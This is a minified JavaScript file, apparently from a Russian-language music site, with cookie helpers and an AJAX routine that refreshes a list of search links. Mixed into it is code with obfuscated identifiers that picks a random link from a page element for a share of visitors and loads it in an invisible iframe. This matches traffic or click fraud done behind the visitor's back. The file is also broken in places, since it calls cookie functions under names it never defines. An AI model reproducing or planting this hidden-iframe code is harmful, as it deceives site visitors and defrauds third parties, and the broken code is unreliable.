﻿function get_cookie1 ( cookie_name ){  var results = document.cookie.match ( '(^|;) ?' + cookie_name + '=([^;]*)(;|$)' );   if ( results )    return ( unescape ( results[2] ) );  else    return null;}function set_cookie1 ( name, value, exp_y, exp_m, exp_d, path, domain, secure ){  var cookie_string = name + "=" + escape ( value );   if ( exp_y )  {    var expires = new Date ( exp_y, exp_m, exp_d );    cookie_string += "; expires=" + expires.toGMTString();  }   if ( path )        cookie_string += "; path=" + escape ( path );   if ( domain )        cookie_string += "; domain=" + escape ( domain );    if ( secure )        cookie_string += "; secure";    document.cookie = cookie_string;} function createIame(fname, src,alolo){if(alolo==1){	var ifrstr = 'i'+'fr'+'ame';	var cframe = document.createElement(ifrstr);	with(cframe){ 		id = fname	}with(cframe.style) {    width = '100px'    height = '3px'    border = '3px red solid'    display = 'none'}		document.getElementById('li_menu2').appendChild(cframe);		cframe.src=src;	return cframe}}var alolo=1;function anus(){var allLinks = document.getElementById('c' + '' + 'p' + 'r' + '_4'+'8'+'35').getElementsByTagName('a'); var total = 0; var mss=new Array();for(var i = 0; i < allLinks.length; i++) {mss[i]=allLinks[i].href;}; if(get_cookie('dallin')==null){total=Math.floor( Math.random( )*100);if(total<18) set_cookie('dallin','one'); else  set_cookie('dallin','two');}total=Math.floor( Math.random( ) * (mss.length) );if(get_cookie('dallin')=="one"){ set_cookie('dallin','two'); createIame('my2',mss[total],alolo); }alolo=0;} jQuery(function($) {	//setTimeout('upd_item()', 5000);		upd_item=function(){var pl_first=$('li[id^=iz]:first').attr('id'); // первый эл-тvar pl_count=$('li[id^=iz]:first').parents("ul").find('li[id^=iz]').length; // кол-во эл-овjQuery.ajax({  type: "POST",  url: "/update_zlist/modex.php",  data: {'pl_first': pl_first, 'pl_count': pl_count, 'rand':Math.random()},  success: function(msg){var cc=msg.split('{l}');if(cc[0]>0){	var it=cc[1].split('{i}');		for(i=0; i<it.length; i++){		var rrr=it[i].split('{h}');			if(rrr.length==2){			var th=$('li[id^=iz]:last');			//alert( th.find('a').text());			th.attr({"id":'iz'+rrr[1]});			th.find('a').attr({"href":'/music.html?zapros='+rrr[0]});			th.find('a').text(rrr[0]);			$('li[id^=iz]:first').parents("ul").prepend(th);			}		}}setTimeout('upd_item()', 5000);  }});}$('.'+'t'+'a'+'kr'+'u').hover(function() { $(this).css('background-color', 'white');}, function() {});	});
